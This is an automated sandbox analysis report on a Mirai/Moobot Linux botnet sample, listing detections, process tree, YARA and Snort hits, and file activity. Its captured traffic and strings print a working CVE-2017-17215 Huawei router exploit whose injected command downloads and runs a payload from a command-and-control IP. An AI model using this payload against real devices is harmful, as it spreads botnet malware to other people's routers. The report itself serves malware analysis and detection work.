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Linux Analysis Report
8lsvVMbYw7.elf

Overview

General Information

Sample Name:	8lsvVMbYw7.elf
Original Sample Name:	4db30b3742977f4175543bcc258bba08.elf
Analysis ID:	830708
MD5:	4db30b3742977f4175543bcc258bba08
SHA1:	d4934ed96152dfae36f4b9421b5f5b602f9ed6fe
SHA256:	7e4dadf93fbb7a01b55eadacbb40ae8d5e95f5b9592e55f0fb2340d89fc78f17
Tags:	32elfmipsmirai
Infos:

Detection

Mirai, Moobot

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Sets full permissions to files and/or directories

Yara signature match

Executes the "mkdir" command used to create folders

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "chmod" command used to modify permissions

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830708
Start date and time:	2023-03-20 16:19:55 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 2s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	8lsvVMbYw7.elf
Original Sample Name:	4db30b3742977f4175543bcc258bba08.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/0@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100

Runtime Messages

Command:	/tmp/8lsvVMbYw7.elf
PID:	6211
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

8lsvVMbYw7.elf (PID: 6211, Parent: 6129, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/8lsvVMbYw7.elf

8lsvVMbYw7.elf New Fork (PID: 6213, Parent: 6211)

sh (PID: 6213, Parent: 6211, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/8lsvVMbYw7.elf bin/watchdog; chmod 777 bin/watchdog"

sh New Fork (PID: 6215, Parent: 6213)

rm (PID: 6215, Parent: 6213, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/watchdog

sh New Fork (PID: 6216, Parent: 6213)

mkdir (PID: 6216, Parent: 6213, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6217, Parent: 6213)

mv (PID: 6217, Parent: 6213, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/8lsvVMbYw7.elf bin/watchdog

sh New Fork (PID: 6218, Parent: 6213)

chmod (PID: 6218, Parent: 6213, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/watchdog

8lsvVMbYw7.elf New Fork (PID: 6219, Parent: 6211)

8lsvVMbYw7.elf New Fork (PID: 6221, Parent: 6219)

8lsvVMbYw7.elf New Fork (PID: 6222, Parent: 6219)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b https://unit42.paloaltonetworks.com/moobot-d-link-devices/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
8lsvVMbYw7.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
8lsvVMbYw7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8lsvVMbYw7.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1185c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11910:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11924:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11938:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1194c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11960:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11974:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11988:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1199c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6211.1.00007f3790400000.00007f3790414000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6211.1.00007f3790400000.00007f3790414000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6211.1.00007f3790400000.00007f3790414000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1185c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11910:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11924:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11938:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1194c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11960:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11974:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11988:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1199c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: 8lsvVMbYw7.elf PID: 6211	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x5dce:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5de2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5df6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e0a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e1e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e32:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e46:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e5a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e6e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e82:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e96:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5eaa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5ebe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5ed2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5ee6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5efa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f0e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f22:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f36:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f4a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f5e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 93.94.199.119

Timestamp:	192.168.2.2393.94.199.11953672372152835222 03/20/23-16:21:16.976524
SID:	2835222
Source Port:	53672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.187.107.90

Timestamp:	192.168.2.2394.187.107.9039438372152835222 03/20/23-16:21:34.558345
SID:	2835222
Source Port:	39438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.6.74.105

Timestamp:	192.168.2.23203.6.74.10537918372152835222 03/20/23-16:21:45.948271
SID:	2835222
Source Port:	37918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.843281532023883 03/20/23-16:20:44.511900
SID:	2023883
Source Port:	43281
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 156.224.24.249 - Destination IP: 192.168.2.23

Timestamp:	156.224.24.249192.168.2.2356999477962030489 03/20/23-16:21:24.722739
SID:	2030489
Source Port:	56999
Destination Port:	47796
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 156.224.24.249 - Destination IP: 192.168.2.23

Timestamp:	156.224.24.249192.168.2.2356999478062030489 03/20/23-16:22:44.755597
SID:	2030489
Source Port:	56999
Destination Port:	47806
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.43.110

Timestamp:	192.168.2.23197.234.43.11049508372152835222 03/20/23-16:22:30.124421
SID:	2835222
Source Port:	49508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.73.52

Timestamp:	192.168.2.2341.36.73.5245328372152835222 03/20/23-16:21:23.129262
SID:	2835222
Source Port:	45328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 156.224.24.249

Timestamp:	192.168.2.23156.224.24.24947806569992030490 03/20/23-16:21:34.964696
SID:	2030490
Source Port:	47806
Destination Port:	56999
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.71.73

Timestamp:	192.168.2.23197.39.71.7358096372152835222 03/20/23-16:22:16.668019
SID:	2835222
Source Port:	58096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 86.71.8.242

Timestamp:	192.168.2.2386.71.8.24242520372152835222 03/20/23-16:22:02.177570
SID:	2835222
Source Port:	42520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 156.224.24.249

Timestamp:	192.168.2.23156.224.24.24947796569992030490 03/20/23-16:20:45.109110
SID:	2030490
Source Port:	47796
Destination Port:	56999
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 192.107.143.159

Timestamp:	192.168.2.23192.107.143.15947896372152835222 03/20/23-16:22:19.853858
SID:	2835222
Source Port:	47896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.846438532023883 03/20/23-16:21:34.369876
SID:	2023883
Source Port:	46438
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: j.xnyidc.top

System Summary

Malicious sample detected (through community Yara rule)

Source: 8lsvVMbYw7.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 8lsvVMbYw7.elf PID: 6211, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: 8lsvVMbYw7.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 8lsvVMbYw7.elf PID: 6211, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdw5q6he3dbrsgmclkiu4to18npavj702f

Source: classification engine

Classification label: mal92.troj.linELF@0/0@2/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6218)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/watchdog

Source: /bin/sh (PID: 6216)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Source: /bin/sh (PID: 6218)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/watchdog

Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1582/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/3088/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/230/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/110/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/231/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/111/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/232/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1579/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/112/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/233/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1699/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/113/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/234/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1335/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1698/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/114/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/235/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1334/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/1576/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/2302/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/115/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/236/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/116/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/237/cmdline
Source: /tmp/8lsvVMbYw7.elf (PID: 6221)	File opened: /proc/117/cmdline
